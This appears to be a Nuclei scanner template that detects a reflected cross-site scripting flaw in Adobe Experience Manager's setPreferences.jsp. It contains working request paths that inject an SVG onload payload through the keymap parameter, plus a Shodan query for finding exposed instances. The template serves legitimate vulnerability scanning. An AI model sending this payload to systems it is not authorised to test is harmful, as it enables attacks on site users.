id: aem-setpreferences-xss

info:
  name: Adobe Experience Manager  - Cross-Site Scripting
  author: zinminphy0,dhiyaneshDK
  severity: high
  description: Adobe Experience Manager contains a cross-site scripting vulnerability via setPreferences.
  reference:
    - https://www.youtube.com/watch?v=VwLSUHNhrOw&t=142s
    - https://github.com/projectdiscovery/nuclei-templates/issues/3225
    - https://twitter.com/zin_min_phyo/status/1465394815042916352
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
    shodan-query: http.component:"Adobe Experience Manager"
  tags: aem,xss,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"
      - "{{BaseURL}}/content/crx/de/setPreferences.jsp;%0A.html?language=en&keymap=<svg/onload=confirm(document.domain);>//a"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<svg/onload=confirm(document.domain);>"
          - 'A JSONObject text must begin with'
        condition: and

      - type: status
        status:
          - 400

# digest: 4b0a004830460221009d0a7da71d28923e5d3e956e788d5473a2da74757694503c2848cafbc566b452022100a96856cc860157c008e6568d2d8938a3f0b0f7b6253a3d6a87a8ad67d36cf06f:922c64590222798bb761d5b6d8e72950
